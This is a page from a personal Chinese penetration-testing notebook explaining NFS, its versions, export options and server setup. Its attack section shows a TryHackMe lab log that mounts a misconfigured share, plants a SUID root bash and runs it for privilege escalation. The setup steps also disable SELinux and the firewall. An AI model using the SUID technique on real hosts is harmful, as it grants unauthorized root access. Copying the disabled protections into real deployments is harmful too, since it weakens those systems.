🔬
JTZ
  • 启航
    • 💻介绍
    • 🔧路径以及总结
    • 🏆日记
      • 😀2022-12-26
      • 😀2022-11-13
      • 😀2022-11-4
  • 网络&系统
    • 🔧端口&协议
      • NFS 介绍
      • Kerberos 介绍
      • WINRM 介绍
      • Telnet 协议
      • CDN 介绍
      • ICMP 介绍
      • DNS
      • RDP
      • SNMP
      • FTP
      • SMB
      • WMI
      • SSH
    • 🔧计算机网络
      • 计算机网络
        • 什么是网络
          • 什么是网络
          • 什么是交换机
          • 什么是路由器
          • 什么是防火墙
        • Model
          • 什么是TCP/IP模型?什么是OSI模型?
        • IP
          • IP地址
      • 资源
        • Postman
        • 思科模拟器 8.2
        • Cisco Packet Tracer
        • 视频
        • WireShark
      • 协议
        • MAC
        • DHCP
        • 端口转发
        • ARP
        • ICMP
      • 第一章--概述
      • 第二章--物理层
      • 第三章--数据链路层
      • 第四章--网络层
      • 第五章--传输层
      • 第六章--应用层
    • 🔧操作系统
    • 🔧Windows
      • 工具
        • WSL 安装 kail
          • Windows 端口转发 WSL 流量
          • 使用远程桌面连接 kali
        • VMware
        • WizTree
        • Beyond Compare 4
        • 画图软件
        • 记笔记软件
          • Typora 插件
          • Typora 图床
        • 文本编辑器
        • 视频播放器
        • VPN
        • 录屏工具
        • Wise Disk Cleaner
        • WinHex
        • Custom Cursor
        • RAMMap
        • Snipaste
        • PowerTotys
        • 浏览器
          • 浏览器插件
      • Windows
    • 🔧Linux
      • 杂类
        • linux中mnt,media以及dev目录的区别
        • 如何在 SSH 身份验证后运行脚本
        • 探索 Reverse SHELL
        • 恢复文件
        • PID 介绍
        • sudo配置文件/etc/sudoers
        • 定时任务
      • 权限
        • Linux 访问控制列表 (ACL) 简介
      • 目录
        • /mnt
        • /media
        • /etc
        • /usr
        • /proc
      • 工具推荐
        • linux下使用clash(GUI)
        • 终端模拟程序
      • Linux命令
        • 查看文件信息
        • 磁盘信息
      • Linux
  • 工具
    • 🔧端口&服务
      • 22 -- SSH
        • ssh-audit
      • 25/465/587 -- SMTP/s
        • SMTP 命令
        • sendEmail
        • swaks
      • 53 -- DNS
      • 80/443 -- WEB 服务
        • CURL
        • CMS
          • droopescan
          • JoomlaScan
          • WPScan
        • 扫描工具
          • feroxbuster
          • WFUZZ
          • gobuster
          • FFUF
      • 88 tcp/udp -- Kerberos
      • 139/445 -- SMB
        • enum4linux-ng
        • smbClient
        • smbmap
        • rpcclient
      • 873--Rsync
        • Rsync
      • 2049-TCP/UDP-NFS
        • NFS no_root_squash/no_all_squash 错误配置
      • 5985/5986 -- WINRM
        • evil-winrm
        • 内网移动
      • 云服务
        • AWS
    • 端口扫描
      • masscan
      • nmap
        • 研究
        • nmap-common
        • ndiff
        • nping
    • SHELL
      • Windows 交互 SHELL
      • pwncat-cs
      • Netcat
      • MSF
      • Socat
    • 脚本工具包
      • 🔧Impacket
        • Hunting for Impacket
    • 📖字典
      • CEWL
    • 自动化扫描工具
      • nikto
      • SQLMAP
    • 密码&解密&爆破
      • 识别 Hash
        • hash-identifier
        • hashid
      • 破解 Hash
        • John
        • Hashcat
        • Hydra
      • DomainPasswordSpray
    • 渗透框架工具
      • Searchsploit
      • Metasploit
        • Msfvenom
    • 文件
      • Imagemagick
      • Exiftool
    • 开发工具
      • Git
    • 浏览器
      • 浏览器密码&历史等信息
    • crackmapexec
    • OPENSSL
      • Heartbleed
    • 文件隐写术
      • binwalk
      • Exiftool
      • Steghide
    • 频谱分析
  • 🛸权限提升
    • 🔧Active Directory
      • 🦯AD 枚举和攻击 -- 工具
        • BloodHound
        • Kerbrute
    • 🔧Windows
      • 🦯Windows 权限提升工具
    • 🔧Linux
      • 提权
        • Linux 提权思路
        • Linux 提权备忘录
      • 资料
        • Linux 权限: SUID, SGID, sticky
      • 🦯Linux 提权工具
        • 📱Pspy
  • 🕶️HTB 学院
    • SHELLS&Payloads
    • 文件传输
    • 足迹
    • Pivoting &隧道和端口转发
    • 密码攻击
  • 🖥️WEB 渗透测试
    • 命令注入(RCE)
      • 🚚资源
    • 身份验证
    • 信息泄露
      • 信息泄露工具
    • XXE
      • 资源
      • XML 介绍
    • XSS
      • 资源
    • IDOR
    • CORS
      • 资源
    • IDOR
    • SSRF
      • 资源
    • Page 1
    • 目录遍历
    • 访问控制
    • 文件上传
      • 资源
      • WAF 绕过
    • 点击劫持
    • CSRF
      • 资源
        • 同源策略
    • SSTI
      • 资源
    • WebSocket
    • 逻辑缺陷
    • 反序列化
    • 文件包含
      • /proc/self/envirom
    • 文件隐写术
  • 🔧编程语言
    • 编程工具
      • Vs-Code
      • Jetbrains
      • Navicat Premium 15
    • C/C++
      • Linux C 一站式编程学习
    • Java
      • 资源
        • JDK
        • 画类图软件
    • Python
      • 资源
        • Python 环境
        • Python 虚拟环境
    • SHELL 教程
      • SHELL 教程
      • 高级Bash脚本编程指南
      • 1.1 变量
      • 1.2 特殊字符
      • 1.3 正则表达式
      • 1.4 数组
      • 1.5 字符串
      • 1.6 函数
      • 1.7 循环判断
      • 扩展
        • 执行命令
        • 子 SHELL
  • 🔧云开发
    • 🔧Docker
      • 🔧Docker
  • 🔧信息收集
    • 网站内容
    • OSINT
    • 侦查
      • Shodan.io
      • google 语法
    • 子域枚举
      • dig
  • 🔧逆向
    • 工具
      • GDB
        • PEDA
      • ghidra
  • 🔧杂章
    • 杂章
      • 区域传输
      • XFF&Referer
      • VHOST
      • ASN
      • Shadow Defender
      • WinHex
由 GitBook 提供支持
在本页
  • 简介
  • NFS 架构
  • NFS 应用
  • NFS 运行原理
  • 攻击
  • 1. 显示可用的 NFS 共享
  • 2. 挂载&卸载
  • 3. 攻击思路--利用 SUID
  • NFS 实践
  • 1. 部署 NFS 服务
  • 2. NFS -- 上传文件
  • 3. NFS 实现文件共享
  • 参考文章

这有帮助吗?

在GitHub上编辑
  1. 网络&系统
  2. 端口&协议

NFS 介绍

关于 NFS 的相关介绍

上一页端口&协议下一页Kerberos 介绍

最后更新于2年前

这有帮助吗?

简介

  • NFS 具有和 SMB 相同的用途,目的是通过网络访问文件系统,但是两者使用不同的协议

  • 我们可以通过 NFS 将远程目录挂载在本地系统上,就和插了一个 U 盘一样

  • 配置文件: /etc/exports

  • NFS系统和Windows网络共享、网络驱动器类似, 只不过windows 网络共享用于局域网, NFS用于企业集群架构中, 如果是大型网站, 会用到更复杂的分布式文件系统FastDFS,glusterfs,HDFS,ceph

  • NFS 协议没有身份验证和授权机制。授权取自配置文件系统的可用信息,服务器负责将客户端提供的用户信息翻译成文件系统的用户信息,并尽可能正确的将相应的授权信息转换成 UNIX 要求的语法

版本
特征

NFSV2

比较旧但是受到许多系统支持,并且最初完全通过 UDP 运行

NFSV3

具有更多的功能,包括可变文件大小和更好的错误报告,但是与 NFSV2 客户端不安全兼容

NFSV4

包括 Kerberos ,通过防火墙和 Internet 工作,不再需要端口映射器,支持 ACL, 应用基于状态的操作,并提高了性能和安全性

NFS 架构

NFS 应用

  1. 用户访问NFS客户端,将请求转化为函数

  2. NFS通过TCP/IP连接服务端

  3. NFS服务端接收请求,会先调用portmap进程进行端口映射

  4. Rpc.nfsd进程用于判断NFS客户端能否连接服务端;

  5. Rpc.mount进程用于判断客户端对服务端的操作权限

  6. 如果通过权限验证,可以对服务端进行操作,修改或读取

NFS 运行原理

攻击

1. 显示可用的 NFS 共享

$ showmount -e 10.129.14.128

2. 挂载&卸载

# 挂载 NFS 共享
$ mkdir target-NFS
$ sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolock
	# -t nfs  挂载的设备类型
$ cd target-NFS
$ tree .

# 卸载
$ cd ..
$ umount ./target-NFS

3. 攻击思路--利用 SUID

1. NFS 访问
2. 将 Bash 可执行文件上传到 NFS 共享
3. 利用 NFS 配置错误,设置 BASH  SUID 权限
4. 利用获得的 SHELL 去执行 SUID Bash 程序实现权限提升

┌──(jtz㉿JTZ)-[~/Desktop/Temp/TryHackMe]
└─$ sudo mount -t nfs 10.10.236.239:/home ./NFS/ -o nolock[sudo] password for jtz:

┌──(jtz㉿JTZ)-[~/Desktop/Temp/TryHackMe]
└─$ cd NFS
┌──(root㉿JTZ)-[/home/jtz/Desktop/Temp/TryHackMe/NFS]
└─# cp ../bash .
┌──(root㉿JTZ)-[/home/jtz/Desktop/Temp/TryHackMe/NFS]
└─# chmod +s bash

┌──(root㉿JTZ)-[/home/jtz/Desktop/Temp/TryHackMe/NFS]
└─# ls -al
total 1248
drwxr-xr-x 3 root root    4096 Feb  2 11:53 .
drwxr-xr-x 7 jtz  jtz     4096 Feb  2 11:52 ..
-rwsr-sr-x 1 root root 1265648 Feb  2 11:53 bash
drwxr-xr-x 5 jtz  jtz     4096 Jun  4  2020 cappucino

# 在获取的 SHELL 上执行
$ ./bash -p

NFS 实践

1. 部署 NFS 服务

服务端

  1. 安装相关软件

    yum install nfs-utils rpcbind -y   # rpcbind是为nfs提供网络
  2. 关闭防火墙和 selinux

    setenforce 0
    systemctl stop firewalld
  3. 创建一个目录,用于存放共享文件或者目录

    mkdir /data
  4. 创建一个系统用户,到时客户端也创建同样用户来统一用户

    groupadd www -g 666
    useradd www -u 666 -g 666 -M -r -s /sbin/nologin
  5. 修改NFS的配置文件(作用:指定NFS的仓库及权限)

# NFS的配置文件:/etc/exports、/etc/lib/nfs/etab
# 格式:[挂载点] [可以访问的IP]([权限])

vi /etc/exports

内容:
    /data   172.16.1.0/20(rw,sync,all_squash,anonuid=666,anongid=666)
NFS 共享参数
参数作用

rw

读写权限 (常用)

ro

只读权限 (不常用)

root_squash

当 NFS 客户端以 root 管理员访问时,映射为 NFS 服务器的匿名用户(默认)

no_root_squash

当 NFS 客户端以 root 管理员访问时,映射为 NFS 服务器的 root 管理员(不常用)

all_squash

无论 NFS 客户端使用什么账号访问,都映射为 NFS 服务器的匿名用户(常用)

no_all_squash

访客被映射为服务器上相同 uid 的用户(默认)

sync

同时将数据写入到内存和硬盘中,保证数据不丢失数据(常用)

async

优先将数据保存到内存中,然后再写入硬盘,这样效率高,但可能会丢失数据(不常用)

secure

限制客户端只能从小于1024的tcp/ip端口连接服务器 (默认)

insecure

允许客户端从大于1024的tcp/ip端口连接服务器

anonuid

指定匿名访问的用户的本地用户 UID ,默认为 65534

anongid

指定匿名访问用户的本地用户组GID,默认为 65534

wdelay

检查是否有相关的写操作,如果有则将这些写操作一起执行,这样可以提高效率(默认)

no_wdelay

若有写操作则立即执行,应与sync配合使用

subtree_check

若输出目录是一个子目录,则nfs服务器将检查其父目录的权限 (默认)

no_subtree_check

即使输出目录是一个子目录,nfs服务器也不检查其父目录的权限,这样可以提高效率

  1. 启动NFS服务

    systemctl start nfs-server rpcbind
  2. 查看NFS的挂载点是否设置成功

    # 查看指定服务器的挂载点
    showmount -e 172.16.1.31
    
    # 查看本机的挂载点
    showmount -e
  3. 给挂载点授权(用于存放共享文件或者目录)

    chown -R www.www /data/

客户端

  1. 挂载使用(客户端必须安装nfs-utils)

    yum install nfs-utils -y
    mount -t nfs 172.16.1.31:/data /opt

2. NFS -- 上传文件

客户端

  1. 安装web服务软件及nfs-utils

    yum install httpd php -y
     
    yum install nfs-utils -y
  2. 将代码上传到网站根目录(/var/www/html)

  3. 给目录下的文件授权

    chown -R www.www /var/www/html
  4. 修改web软件的用户

    vim /etc/httpd/conf/httpd.conf
    内容变为:
            User www
            Group www
  5. 关闭selinux和防火墙

    setenforce 0
    systemctl disable --now firewalld
  6. 启动web软件

    systemctl start httpd
  7. 挂载

    cd /var/www/html/
    mkdir upload
    mount -t nfs 172.16.1.31:/data /var/www/html/upload
  8. 测试: 上传、访问

3. NFS 实现文件共享

  1. 安装web服务软件及nfs-utils

    yum install httpd php -y
     
    yum install nfs-utils -y
  2. 将NFS挂载到web网站对应目录

    mkdir img
    mount -t nfs 172.16.1.31:/data /var/www/html/img/
  3. 开启web服务

    systemctl start httpd
  4. 测试

参考文章

🔧
NFS(局域网共享文件或目录)